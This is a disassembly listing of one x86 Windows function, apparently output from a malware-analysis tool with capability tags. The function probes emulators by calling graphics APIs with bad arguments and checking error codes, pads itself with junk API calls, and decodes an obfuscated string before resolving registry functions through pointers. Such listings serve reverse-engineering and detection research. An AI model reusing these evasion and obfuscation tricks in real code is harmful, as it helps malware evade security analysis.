Function at 0x401730
Capabilities:
Check if file exists
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 8], 0x54e168
push 0x54e1cc
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40175a
xor eax, eax
jmp 0x401c6b
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileBits]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
je 0x401778
xor eax, eax
jmp 0x401c6b
mov eax, 0x95
mov ecx, dword [ebp - 8]
mov word [ecx], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx], ax
mov edx, 0x88
mov eax, dword [ebp - 8]
mov word [eax + 0x12], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x12]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x12], dx
mov ecx, 0x91
mov edx, dword [ebp - 8]
mov word [edx + 6], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 6]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 6], cx
mov eax, 0x92
mov ecx, dword [ebp - 8]
mov word [ecx + 0xa], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0xa]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0xa], ax
mov edx, 0x65
mov eax, dword [ebp - 8]
mov word [eax + 0xc], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0xc]
sub edx, 4
mov eax, dword [ebp - 8]
mov word [eax + 0xc], dx
mov ecx, 0xa7
mov edx, dword [ebp - 8]
mov word [edx + 0x14], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x14]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x14], cx
mov eax, 0x8b
mov ecx, dword [ebp - 8]
mov word [ecx + 0x16], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x16]
sub eax, 0x29
mov ecx, dword [ebp - 8]
mov word [ecx + 0x16], ax
mov edx, 0x5a
mov eax, dword [ebp - 8]
mov word [eax + 0x18], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x18]
sub edx, 0x29
mov eax, dword [ebp - 8]
mov word [eax + 0x18], dx
mov ecx, 0x59
mov edx, dword [ebp - 8]
mov word [edx + 0x26], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x26]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x26], cx
mov eax, 0x8e
mov ecx, dword [ebp - 8]
mov word [ecx + 0x28], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x28]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x28], ax
mov edx, 0x8e
mov eax, dword [ebp - 8]
mov word [eax + 0x2c], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x2c]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x2c], dx
mov ecx, 0x60
mov edx, dword [ebp - 8]
mov word [edx + 0x2e], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x2e]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x2e], cx
mov eax, 0x5c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x34], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x34]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x34], ax
mov edx, 0x59
mov eax, dword [ebp - 8]
mov word [eax + 0x3a], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x3a]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x3a], dx
mov ecx, 0x8e
mov edx, dword [ebp - 8]
mov word [edx + 0x3c], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x3c]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x3c], cx
mov eax, 0x5c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x46], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x46]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x46], ax
mov edx, 0x5c
mov eax, dword [ebp - 8]
mov word [eax + 0x48], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x48]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x48], dx
push str.7686789678967896789678
call dword [sym.imp.USER32.dll_LoadCursorFromFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40197f
xor eax, eax
jmp 0x401c6b
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileBits]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
je 0x40199d
xor eax, eax
jmp 0x401c6b
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x38], 1
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 1
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.GDI32.dll_DeleteEnhMetaFile]
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
movzx eax, word [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_IsCharUpperW]
movzx ecx, word [ebp - 0x38]
push ecx
call dword [sym.imp.USER32.dll_IsCharLowerW]
call dword [sym.imp.USER32.dll_GetShellWindow]
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.GDI32.dll_GetPixelFormat]
movzx eax, byte [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaA]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.USER32.dll_GetKeyboardType]
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.USER32.dll_OpenIcon]
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_EnumClipboardFormats]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.GDI32.dll_GetBkMode]
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.USER32.dll_DestroyIcon]
movzx eax, byte [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.GDI32.dll_GetObjectType]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.USER32.dll_GetShellWindow]
push str.xTwYsPvUDp
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
call dword [sym.imp.USER32.dll_GetFocus]
push str.JARcrFRrZG
call dword [sym.imp.GDI32.dll_AddFontResourceW]
movzx edx, byte [ebp - 0x40]
push edx
call dword [sym.imp.USER32.dll_IsCharLowerA]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardType]
mov ecx, 0x8d
mov edx, dword [ebp - 8]
mov word [edx + 0x4a], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x4a]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x4a], cx
mov eax, 0x8d
mov ecx, dword [ebp - 8]
mov word [ecx + 0x4c], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x4c]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x4c], ax
mov edx, 0x5c
mov eax, dword [ebp - 8]
mov word [eax + 0x4e], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x4e]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x4e], dx
mov ecx, 0x5c
mov edx, dword [ebp - 8]
mov word [edx + 0x50], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x50]
sub ecx, 0x2c
mov edx, dword [ebp - 8]
mov word [edx + 0x50], cx
mov eax, 0x5f
mov ecx, dword [ebp - 8]
mov word [ecx + 0x52], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x52]
sub eax, 0x2c
mov ecx, dword [ebp - 8]
mov word [ecx + 0x52], ax
mov edx, 0x60
mov eax, dword [ebp - 8]
mov word [eax + 0x54], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x54]
sub edx, 0x2c
mov eax, dword [ebp - 8]
mov word [eax + 0x54], dx
mov ecx, 0x33
mov edx, dword [ebp - 8]
mov word [edx + 0x5a], cx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x5a]
sub ecx, 3
mov edx, dword [ebp - 8]
mov word [edx + 0x5a], cx
mov eax, 0x3a
mov ecx, dword [ebp - 8]
mov word [ecx + 0x5c], ax
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x5c]
sub eax, 3
mov ecx, dword [ebp - 8]
mov word [ecx + 0x5c], ax
mov edx, pe_nt_image_headers32
mov eax, dword [ebp - 8]
mov word [eax + 0x5e], dx
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 0x5e]
sub edx, 3
mov eax, dword [ebp - 8]
mov word [eax + 0x5e], dx
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [0x5e8a08], ecx
push 0x5e89c4
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x54e130]
sub eax, 0xcad
push eax
call dword [0x5e8a08]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401c55
mov ecx, 1
test ecx, ecx
je 0x401c55
jmp 0x401c4a
mov edx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [0x5e89c8], edx
call fcn.00401010
mov dword [0x54e128], eax
mov esp, ebp
pop ebp
ret